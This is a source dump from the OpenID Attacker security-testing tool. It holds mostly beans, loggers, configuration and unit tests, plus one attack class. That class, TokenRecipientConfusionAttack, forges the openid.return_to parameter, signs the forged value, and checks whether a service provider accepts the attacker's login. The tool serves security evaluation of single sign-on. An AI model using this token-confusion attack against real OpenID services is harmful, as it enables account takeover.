16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.message;
20 |
21 | public final class OpenIdNamespaces {
22 |
23 | public static final String AX_NICKNAME = "http://axschema.org/namePerson/friendly";
24 | public static final String AX_EMAIL = "http://axschema.org/contact/email";
25 | public static final String AX_FULLNAME = "http://axschema.org/namePerson";
26 | public static final String AX_DOB = "http://axschema.org/birthDate";
27 | public static final String AX_GENDER = "http://axschema.org/person/gender";
28 | public static final String AX_POSTCODE = "http://axschema.org/contact/postalCode/home";
29 | public static final String AX_COUNTRY = "http://axschema.org/contact/country/home";
30 | public static final String AX_LANGUAGE = "http://axschema.org/pref/language";
31 | public static final String AX_TIMEZONE = "http://axschema.org/pref/timezone";
32 | public static final String OPENID_NICKNAME = "http://openid.net/schema/namePerson/friendly";
33 | public static final String OPENID_EMAIL = "http://openid.net/schema/contact/internet/email";
34 | public static final String OPENID_GENDER = "http://openid.net/schema/gender";
35 | public static final String OPENID_POSTCODE = "http://openid.net/schema/contact/postalCode/home";
36 | public static final String OPENID_COUNTRY = "http://openid.net/schema/contact/country/home";
37 | public static final String OPENID_LANGUAGE = "http://openid.net/schema/language/pref";
38 | public static final String OPENID_TIMEZONE = "http://openid.net/schema/timezone";
39 |
40 | private OpenIdNamespaces() {
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/user/UserData.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.user;
20 |
21 | import javax.xml.bind.annotation.XmlRootElement;
22 | import wsattacker.sso.openid.attacker.composition.AbstractBean;
23 |
24 | @XmlRootElement(name = "Data")
25 | public class UserData extends AbstractBean {
26 |
27 | public static final String PROP_NAME = "name";
28 | public static final String PROP_VALUE = "value";
29 | private String name = "newName";
30 | private String value = "newValue";
31 |
32 |
33 |
34 | /**
35 | * Get the value of value
36 | *
37 | * @return the value of value
38 | */
39 | public String getValue() {
40 | return value;
41 | }
42 |
43 | /**
44 | * Set the value of value
45 | *
46 | * @param value new value of value
47 | */
48 | public void setValue(String value) {
49 | String oldValue = this.value;
50 | this.value = value;
51 | firePropertyChange(PROP_VALUE, oldValue, value);
52 | }
53 |
54 | /**
55 | * Get the value of name
56 | *
57 | * @return the value of name
58 | */
59 | public String getName() {
60 | return name;
61 | }
62 |
63 | /**
64 | * Set the value of name
65 | *
66 | * @param name new value of name
67 | */
68 | public void setName(String name) {
69 | String oldName = this.name;
70 | this.name = name;
71 | firePropertyChange(PROP_NAME, oldName, name);
72 | }
73 |
74 | @Override
75 | public String toString() {
76 | return "UserData{" + "name=" + name + ", value=" + value + '}';
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/src/test/java/wsattacker/sso/openid/attacker/server/utilities/HttpPostRedirectTest.java:
--------------------------------------------------------------------------------
1 | package wsattacker.sso.openid.attacker.server.utilities;
2 |
3 | import java.util.HashMap;
4 | import java.util.Map;
5 | import static org.hamcrest.CoreMatchers.is;
6 | import static org.junit.Assert.assertThat;
7 | import org.junit.Ignore;
8 | import org.junit.Test;
9 | import org.w3c.dom.Document;
10 | import org.w3c.dom.Element;
11 |
12 | public class HttpPostRedirectTest {
13 |
14 | public HttpPostRedirectTest() {
15 | }
16 |
17 | @Test
18 | public void testCreateBasicPostRedirect() throws Exception {
19 | Document doc = HttpPostRedirect.createBasicPostRedirect();
20 | assertThat(doc.getDocumentElement().getLocalName(), is("html"));
21 |
22 | Element form = HttpPostRedirect.findFormElement(doc);
23 | assertThat(form.getLocalName(), is("form"));
24 |
25 | Element title = HttpPostRedirect.findTitleElement(doc);
26 | assertThat(title.getLocalName(), is("title"));
27 | }
28 |
29 | @Ignore
30 | public void testCreateGetRequest() {
31 | String url = "http://x.yz";
32 | Map getMap = new HashMap<>();
33 | getMap.put("eins", "one");
34 | getMap.put("zwei", "two");
35 |
36 | String expected = url + "?zwei=two&eins=one";
37 | String actual = HttpPostRedirect.createGetRequest(url, getMap);
38 | assertThat(actual, is(expected));
39 | }
40 |
41 | @Ignore
42 | public void testCreateGetRequest2() {
43 | String url = "http://x.yz?q=s";
44 | Map getMap = new HashMap<>();
45 | getMap.put("eins", "one");
46 | getMap.put("zwei", "two");
47 |
48 | String expected = url + "&zwei=two&eins=one";
49 | String actual = HttpPostRedirect.createGetRequest(url, getMap);
50 | assertThat(actual, is(expected));
51 | }
52 |
53 | @Test
54 | public void testCreateGetRequest3() {
55 | String url = "http://x.yz";
56 | Map getMap = new HashMap<>();
57 | getMap.put("a", "x y");
58 |
59 | String expected = url + "?a=x+y";
60 | String actual = HttpPostRedirect.createGetRequest(url, getMap);
61 | assertThat(actual, is(expected));
62 | }
63 |
64 | @Test
65 | public void testCreateGetRequest4() {
66 | String url = "http://x.yz";
67 | Map getMap = new HashMap<>();
68 | getMap.put("a", "x+y");
69 |
70 | String expected = url + "?a=x%2By";
71 | String actual = HttpPostRedirect.createGetRequest(url, getMap);
72 | assertThat(actual, is(expected));
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/log/RequestLogger.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.log;
20 |
21 | import java.util.ArrayList;
22 | import java.util.List;
23 | import org.jdesktop.observablecollections.ObservableCollections;
24 | import org.jdesktop.observablecollections.ObservableList;
25 | import wsattacker.sso.openid.attacker.server.IdpType;
26 |
27 | /**
28 | * This class is somehow an advanced Logger for OpenID messages.
29 | * The HTTP Handler will use it to log the order of incoming requests.
30 | */
31 | final public class RequestLogger {
32 |
33 | final private static RequestLogger INSTANCE = new RequestLogger();
34 | private final ObservableList entryList = ObservableCollections.observableList(new ArrayList());
35 |
36 | public static RequestLogger getInstance() {
37 | return INSTANCE;
38 | }
39 |
40 | private RequestLogger() {
41 | }
42 |
43 | /**
44 | * Get all entries.
45 | *
46 | * @return
47 | */
48 | public List getEntryList() {
49 | return entryList;
50 | }
51 |
52 | /**
53 | * Add a new Entry
54 | *
55 | * @param type The type of the request can be XRDS, Association, Valid
56 | * Token
57 | * or attack token.
58 | * @param text A short description
59 | * @param request The important part of the HTTP request
60 | * @param response The important part of the HTTP response
61 | * @param idpType Type of IdP: Attacker or Analyzer
62 | */
63 | public void add(RequestType type, String text, String request, String response, IdpType idpType) {
64 | entryList.add(0, new RequestLogEntry(type, text, request, response, idpType));
65 | }
66 |
67 | /**
68 | * Clear the log. This will remove all entries.
69 | */
70 | public void clear() {
71 | entryList.clear();
72 | }
73 | }
74 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/gui/server/TypeRenderer.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.gui.server;
20 |
21 | import java.awt.Color;
22 | import java.awt.Component;
23 | import javax.swing.JTable;
24 | import javax.swing.table.DefaultTableCellRenderer;
25 | import wsattacker.sso.openid.attacker.log.RequestType;
26 | import static wsattacker.sso.openid.attacker.log.RequestType.XRDS;
27 |
28 | public class TypeRenderer extends DefaultTableCellRenderer {
29 |
30 | public Color getColor(RequestType type) {
31 | Color result;
32 | switch (type) {
33 | case ASSOCIATION:
34 | result = Color.YELLOW;
35 | break;
36 | case XRDS:
37 | result = Color.LIGHT_GRAY;
38 | break;
39 | case HTML:
40 | result = Color.BLUE;
41 | break;
42 | case TOKEN_VALID:
43 | result = Color.green;
44 | break;
45 | case TOKEN_ATTACK:
46 | result = Color.red;
47 | break;
48 | case CHECK_AUTHENTICATION:
49 | result = Color.CYAN;
50 | break;
51 | case ERROR:
52 | result = Color.MAGENTA;
53 | break;
54 | case XXE:
55 | result = Color.PINK;
56 | break;
57 | default:
58 | throw new AssertionError();
59 | }
60 | return result;
61 | }
62 |
63 | @Override
64 | public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int column) {
65 | Component cell = super.getTableCellRendererComponent(table, value, isSelected, hasFocus, row, column);
66 | if (value instanceof RequestType) {
67 | cell.setBackground(getColor((RequestType) value));
68 | }
69 | return cell;
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/config/ToolConfiguration.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.config;
20 |
21 | import javax.xml.bind.annotation.XmlRootElement;
22 | import wsattacker.sso.openid.attacker.composition.AbstractBean;
23 |
24 | /**
25 | *
26 | * @author christiankossmann
27 | */
28 |
29 | @XmlRootElement(name = "ToolConfiguration")
30 | public class ToolConfiguration extends AbstractBean {
31 |
32 | private OpenIdServerConfiguration attackerConfig;
33 | private OpenIdServerConfiguration analyzerConfig;
34 |
35 | public static final String PROP_ATTACKERCONFIG = "attackerConfig";
36 | public static final String PROP_ANALYZERCONFIG = "analyzerConfig";
37 |
38 | public ToolConfiguration() {
39 |
40 | }
41 |
42 | /**
43 | * Get the value of analyzerConfig
44 | *
45 | * @return the value of analyzerConfig
46 | */
47 | public OpenIdServerConfiguration getAnalyzerConfig() {
48 | return analyzerConfig;
49 | }
50 |
51 | /**
52 | * Set the value of analyzerConfig
53 | *
54 | * @param analyzerConfig new value of analyzerConfig
55 | */
56 | public void setAnalyzerConfig(OpenIdServerConfiguration analyzerConfig) {
57 | OpenIdServerConfiguration oldAnalyzerConfig = this.analyzerConfig;
58 | this.analyzerConfig = analyzerConfig;
59 | firePropertyChange(PROP_ANALYZERCONFIG, oldAnalyzerConfig, analyzerConfig);
60 | }
61 |
62 | /**
63 | * Get the value of attackerConfig
64 | *
65 | * @return the value of attackerConfig
66 | */
67 | public OpenIdServerConfiguration getAttackerConfig() {
68 | return attackerConfig;
69 | }
70 |
71 | /**
72 | * Set the value of attackerConfig
73 | *
74 | * @param attackerConfig new value of attackerConfig
75 | */
76 | public void setAttackerConfig(OpenIdServerConfiguration attackerConfig) {
77 | OpenIdServerConfiguration oldAttackerConfig = this.attackerConfig;
78 | this.attackerConfig = attackerConfig;
79 | firePropertyChange(PROP_ATTACKERCONFIG, oldAttackerConfig, attackerConfig);
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/src/test/java/wsattacker/sso/openid/attacker/discovery/html/HtmlDiscoveryGeneratorTest.java:
--------------------------------------------------------------------------------
1 | package wsattacker.sso.openid.attacker.discovery.html;
2 |
3 | import java.io.ByteArrayInputStream;
4 | import java.io.IOException;
5 | import java.io.InputStream;
6 | import javax.xml.parsers.DocumentBuilder;
7 | import javax.xml.parsers.DocumentBuilderFactory;
8 | import javax.xml.parsers.ParserConfigurationException;
9 | import javax.xml.transform.dom.DOMSource;
10 | import static org.junit.Assert.assertThat;
11 | import org.junit.Ignore;
12 | import org.junit.Test;
13 | import org.w3c.dom.Document;
14 | import org.xml.sax.SAXException;
15 | import static org.xmlmatchers.XmlMatchers.isEquivalentTo;
16 |
17 | public class HtmlDiscoveryGeneratorTest {
18 |
19 | private static final String BASE_URL = "http://openidp";
20 | private static final String IDENTITY = "http://openidp/identity";
21 |
22 | public HtmlDiscoveryGeneratorTest() {
23 | }
24 |
25 | @Test
26 | @Ignore
27 | public void testGenerateString() throws Exception {
28 | HtmlDiscoveryConfiguration config = createConfig(true, true, false);
29 | Document result = HtmlDiscoveryGenerator.generateHtmlDocument(config);
30 | Document expected = string2Document(
31 | "\n"
32 | + " \n"
33 | + " http://openidp/identity\n"
34 | + " \n"
35 | + " \n"
36 | + " \n"
37 | + " \n"
38 | + "
HTML Discovery for:
\n"
39 | + "
http://openidp/identity
\n"
40 | + " \n"
41 | + "");
42 | assertThat(new DOMSource(result), isEquivalentTo(new DOMSource(expected)));
43 | }
44 |
45 | private HtmlDiscoveryConfiguration createConfig(final boolean openidserver, final boolean openid2provider, final boolean includeIdentity) {
46 | HtmlDiscoveryConfiguration config = new HtmlDiscoveryConfiguration();
47 | config.setBaseUrl(BASE_URL);
48 | config.setIdentity(IDENTITY);
49 | config.setIncludeIdentity(includeIdentity);
50 | config.setOpenidServer(openidserver);
51 | config.setOpenId2Provider(openid2provider);
52 | return config;
53 | }
54 |
55 | private static Document string2Document(String xml) throws SAXException, IOException {
56 | DocumentBuilderFactory fac = DocumentBuilderFactory.newInstance();
57 | fac.setNamespaceAware(false);
58 | // fac.setIgnoringElementContentWhitespace(true);
59 | DocumentBuilder builder = null;
60 | try {
61 | builder = fac.newDocumentBuilder();
62 | } catch (ParserConfigurationException e) {
63 | throw new IllegalStateException("This should never happen", e);
64 | }
65 | InputStream is = new ByteArrayInputStream(xml.getBytes("UTF-8"));
66 | return builder.parse(is);
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/EvaluationResult.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation;
20 |
21 | import wsattacker.sso.openid.attacker.evaluation.training.TrainingResult;
22 | import java.io.Serializable;
23 | import java.text.SimpleDateFormat;
24 | import java.util.Date;
25 | import java.util.HashMap;
26 | import java.util.List;
27 | import java.util.Map;
28 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult;
29 |
30 | public class EvaluationResult implements Serializable {
31 | private final Date date;
32 | private final String url;
33 | private int investigationTime = 0;
34 |
35 | private List trainingResults;
36 | private final Map> mapOfAttackResult = new HashMap<>();
37 |
38 | public EvaluationResult(Date date, String url) {
39 | this.date = date;
40 | this.url = url;
41 | }
42 |
43 | public String getUrl() {
44 | return url;
45 | }
46 |
47 | public Date getDate() {
48 | return date;
49 | }
50 |
51 | public String getFormattedDate() {
52 | return new SimpleDateFormat("yyyy-MM-dd - HH:mm:ss").format(date);
53 | }
54 |
55 | public void addTrainingResults(List trainingResults) {
56 | this.trainingResults = trainingResults;
57 | }
58 |
59 | public List getTrainingResults() {
60 | return trainingResults;
61 | }
62 |
63 | public void addAttackResults(String attackName, List attackResults) {
64 | mapOfAttackResult.put(attackName, attackResults);
65 | }
66 |
67 | public Map> getMapOfAttackResult() {
68 | return mapOfAttackResult;
69 | }
70 |
71 | @Override
72 | public String toString() {
73 | return url + " - " + date;
74 | }
75 |
76 | public void addInvestigationTime(long time) {
77 | investigationTime += time;
78 | }
79 |
80 | public int getInvestigationTime() {
81 | return investigationTime;
82 | }
83 |
84 | public String getInvestigationTimeFormatted() {
85 | int seconds = investigationTime % 60;
86 | int minutes = investigationTime / 60;
87 |
88 | return minutes + "m " + seconds + "s";
89 | }
90 | }
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/evaluation/attack/TokenRecipientConfusionAttack.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.evaluation.attack;
20 |
21 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter;
22 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod;
23 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration;
24 | import wsattacker.sso.openid.attacker.evaluation.LoginResult;
25 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider;
26 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Interpretation;
27 | import wsattacker.sso.openid.attacker.evaluation.attack.AttackResult.Result;
28 | import wsattacker.sso.openid.attacker.evaluation.ServiceProvider.User;
29 |
30 | public class TokenRecipientConfusionAttack extends AbstractAttack {
31 |
32 | public TokenRecipientConfusionAttack(ServiceProvider serviceProvider) {
33 | super(serviceProvider);
34 | }
35 |
36 | @Attack
37 | private AttackResult performTokenRecipientConfusionAttack() {
38 | OpenIdServerConfiguration.getAttackerInstance().setPerformAttack(true);
39 |
40 | String description = "Modification of the openid.return_to value";
41 |
42 | AttackParameter attackParam = keeper.getParameter("openid.return_to");
43 | attackParam.setAttackValueUsedForSignatureComputation(true);
44 | attackParam.setValidMethod(HttpMethod.DO_NOT_SEND);
45 | attackParam.setAttackMethod(HttpMethod.GET);
46 | attackParam.setAttackValue("http://www.rub.de/");
47 |
48 | // include modified parameter in signature
49 | AttackParameter sigParameter = keeper.getParameter("openid.sig");
50 | sigParameter.setValidMethod(HttpMethod.DO_NOT_SEND);
51 | sigParameter.setAttackMethod(HttpMethod.GET);
52 |
53 | LoginResult loginResult = serviceProvider.loginAndDetermineAuthenticatedUser(User.ATTACKER);
54 | boolean success = loginResult.getAuthenticatedUser() == User.ATTACKER;
55 | Result result = success ? Result.SUCCESS : Result.FAILURE;
56 | Interpretation interpretation = success ? Interpretation.CRITICAL : Interpretation.PREVENTED;
57 |
58 | assert isSignatureValid(loginResult) : "Signature is not valid!";
59 |
60 | return new AttackResult(description, loginResult, result, interpretation);
61 | }
62 | }
63 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/composition/AbstractBean.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.composition;
20 |
21 | import java.beans.PropertyChangeEvent;
22 | import java.beans.PropertyChangeListener;
23 | import java.beans.PropertyChangeSupport;
24 |
25 | public class AbstractBean {
26 |
27 | private transient final PropertyChangeSupport propertyChangeSupport = new PropertyChangeSupport(this);
28 |
29 | /**
30 | * Add PropertyChangeListener.
31 | *
32 | * @param listener
33 | */
34 | final public void addPropertyChangeListener(PropertyChangeListener listener) {
35 | propertyChangeSupport.addPropertyChangeListener(listener);
36 | }
37 |
38 | final public void addPropertyChangeListener(String propertyName, PropertyChangeListener listener) {
39 | propertyChangeSupport.addPropertyChangeListener(propertyName, listener);
40 | }
41 |
42 | /**
43 | * Remove PropertyChangeListener.
44 | *
45 | * @param listener
46 | */
47 | final public void removePropertyChangeListener(PropertyChangeListener listener) {
48 | propertyChangeSupport.removePropertyChangeListener(listener);
49 | }
50 |
51 | final public void removePropertyChangeListener(String propertyName, PropertyChangeListener listener) {
52 | propertyChangeSupport.removePropertyChangeListener(propertyName, listener);
53 | }
54 |
55 | public final PropertyChangeListener[] getPropertyChangeListeners() {
56 | return propertyChangeSupport.getPropertyChangeListeners();
57 | }
58 |
59 | public final PropertyChangeListener[] getPropertyChangeListeners(String propertyName) {
60 | return propertyChangeSupport.getPropertyChangeListeners(propertyName);
61 | }
62 |
63 | protected final void firePropertyChange(String propertyName, Object oldValue, Object newValue) {
64 | propertyChangeSupport.firePropertyChange(propertyName, oldValue, newValue);
65 | }
66 |
67 | protected final void firePropertyChange(PropertyChangeEvent evt) {
68 | propertyChangeSupport.firePropertyChange(evt);
69 | }
70 |
71 | protected final void fireIndexedPropertyChange(String propertyName, int index, Object oldValue, Object newValue) {
72 | propertyChangeSupport.fireIndexedPropertyChange(propertyName, index, oldValue, newValue);
73 | }
74 |
75 | protected final boolean hasPropertyChangeListeners(String propertyName) {
76 | return propertyChangeSupport.hasListeners(propertyName);
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/src/test/java/wsattacker/sso/openid/attacker/discovery/xrds/XrdsGeneratorTest.java:
--------------------------------------------------------------------------------
1 | package wsattacker.sso.openid.attacker.discovery.xrds;
2 |
3 | import java.io.IOException;
4 | import java.io.InputStream;
5 | import javax.xml.parsers.DocumentBuilder;
6 | import javax.xml.parsers.DocumentBuilderFactory;
7 | import javax.xml.parsers.ParserConfigurationException;
8 | import javax.xml.transform.dom.DOMSource;
9 | import static org.junit.Assert.assertThat;
10 | import org.junit.Before;
11 | import org.junit.BeforeClass;
12 | import org.junit.Test;
13 | import org.w3c.dom.Document;
14 | import org.xml.sax.SAXException;
15 | import static org.xmlmatchers.XmlMatchers.isEquivalentTo;
16 | import static wsattacker.sso.openid.attacker.discovery.xrds.XrdsGenerator.generateXrdsDocument;
17 | import wsattacker.sso.openid.attacker.user.User;
18 |
19 | public class XrdsGeneratorTest {
20 |
21 | public static final String CLAIMED_ID = "http://my_claimed_id";
22 | private static XrdsConfiguration config;
23 | private static final User user = new User();
24 | private static final String ENDPOINT = "http://my_endpoint";
25 |
26 | @BeforeClass
27 | public static void setUpBeforeClass() {
28 | config = new XrdsConfiguration();
29 | config.setIdentity(CLAIMED_ID);
30 | config.setBaseUrl(ENDPOINT);
31 | config.setIncludeIdentity(true);
32 | }
33 |
34 | public static Document readDocument(InputStream is) throws SAXException, IOException {
35 | DocumentBuilderFactory fac = DocumentBuilderFactory.newInstance();
36 | fac.setNamespaceAware(false);
37 | // fac.setIgnoringElementContentWhitespace(true);
38 | DocumentBuilder builder = null;
39 | try {
40 | builder = fac.newDocumentBuilder();
41 | } catch (ParserConfigurationException e) {
42 | throw new IllegalStateException("This should never happen", e);
43 | }
44 | return builder.parse(is);
45 | }
46 |
47 | public XrdsGeneratorTest() {
48 | }
49 |
50 | @Before
51 | public void setUp() {
52 | }
53 |
54 | @Test
55 | public void testGenerateXrdsDocument20() throws Exception {
56 | Document expected = readDocument(XrdsGeneratorTest.class.getResourceAsStream("/xrds/xrds_20.xml"));
57 | config.setOpenIdVersion(OpenIdVersion.VERSION_20_CLAIMED_IDENTIFIER_ELEMENT);
58 | Document xrdsDocument = generateXrdsDocument(config);
59 | assertThat(new DOMSource(expected), isEquivalentTo(new DOMSource(xrdsDocument)));
60 | }
61 |
62 | @Test
63 | public void testGenerateXrdsDocument11() throws Exception {
64 | Document expected = readDocument(XrdsGeneratorTest.class.getResourceAsStream("/xrds/xrds_11.xml"));
65 | config.setOpenIdVersion(OpenIdVersion.VERSION_11);
66 | Document xrdsDocument = generateXrdsDocument(config);
67 | assertThat(new DOMSource(expected), isEquivalentTo(new DOMSource(xrdsDocument)));
68 | }
69 |
70 | @Test
71 | public void testGenerateXrdsDocument10() throws Exception {
72 | Document expected = readDocument(XrdsGeneratorTest.class.getResourceAsStream("/xrds/xrds_10.xml"));
73 | config.setOpenIdVersion(OpenIdVersion.VERSION_10);
74 | Document xrdsDocument = generateXrdsDocument(config);
75 | assertThat(new DOMSource(expected), isEquivalentTo(new DOMSource(xrdsDocument)));
76 | }
77 | }
78 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/discovery/utilities/DomUtilities.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
3 | * (C) 2015 Christian Mainka & Christian Koßmann
4 | *
5 | * This program is free software; you can redistribute it and/or modify it under
6 | * the terms of the GNU General Public License as published by the Free Software
7 | * Foundation; either version 2 of the License, or (at your option) any later
8 | * version.
9 | *
10 | * This program is distributed in the hope that it will be useful, but WITHOUT
11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
13 | * details.
14 | *
15 | * You should have received a copy of the GNU General Public License along with
16 | * this program; if not, write to the Free Software Foundation, Inc., 51
17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
18 | */
19 | package wsattacker.sso.openid.attacker.discovery.utilities;
20 |
21 | import java.io.StringWriter;
22 | import javax.xml.parsers.DocumentBuilder;
23 | import javax.xml.parsers.DocumentBuilderFactory;
24 | import javax.xml.parsers.ParserConfigurationException;
25 | import javax.xml.transform.OutputKeys;
26 | import javax.xml.transform.Transformer;
27 | import javax.xml.transform.TransformerException;
28 | import javax.xml.transform.TransformerFactory;
29 | import javax.xml.transform.dom.DOMSource;
30 | import javax.xml.transform.stream.StreamResult;
31 | import org.w3c.dom.Document;
32 | import org.w3c.dom.Node;
33 | import wsattacker.sso.openid.attacker.discovery.xrds.XrdsConfiguration;
34 |
35 | final public class DomUtilities {
36 |
37 | public static Document createEmptyDom() {
38 | Document doc = null;
39 | try {
40 | DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
41 | factory.setNamespaceAware(true);
42 | DocumentBuilder builder = factory.newDocumentBuilder();
43 | doc = builder.newDocument();
44 | } catch (ParserConfigurationException e) {
45 | throw new IllegalStateException("This should never happen", e);
46 | }
47 | return doc;
48 | }
49 |
50 | public static String domToString(Node n, boolean prettyPrint) {
51 | StringWriter output = new StringWriter();
52 | Transformer transformer;
53 | try {
54 | transformer = TransformerFactory.newInstance().newTransformer();
55 | transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
56 | if (prettyPrint) {
57 | transformer.setOutputProperty("{http://xml.apache.org/xslt}indent-amount", "2");
58 | transformer.setOutputProperty(OutputKeys.INDENT, "yes");
59 | }
60 | transformer.transform(new DOMSource(n), new StreamResult(output));
61 | } catch (IllegalArgumentException | TransformerException e) {
62 | throw new IllegalStateException(String.format("%s.domToString() throws an Exception. This should never happen", XrdsConfiguration.class.getName()), e);
63 | }
64 | return output.toString();
65 | }
66 |
67 | /**
68 | * Converts a DOM Node to a String
69 | *
70 | * @param Node
71 | * n
72 | *
73 | * @return
74 | */
75 | public static String domToString(Node n) {
76 | return domToString(n, false);
77 | }
78 |
79 | private DomUtilities() {
80 | }
81 | }
82 |
--------------------------------------------------------------------------------
/src/main/java/wsattacker/sso/openid/attacker/attack/parameter/utilities/SearchReplaceHolder.java:
--------------------------------------------------------------------------------
1 | /*
2 | * OpenID Attacker
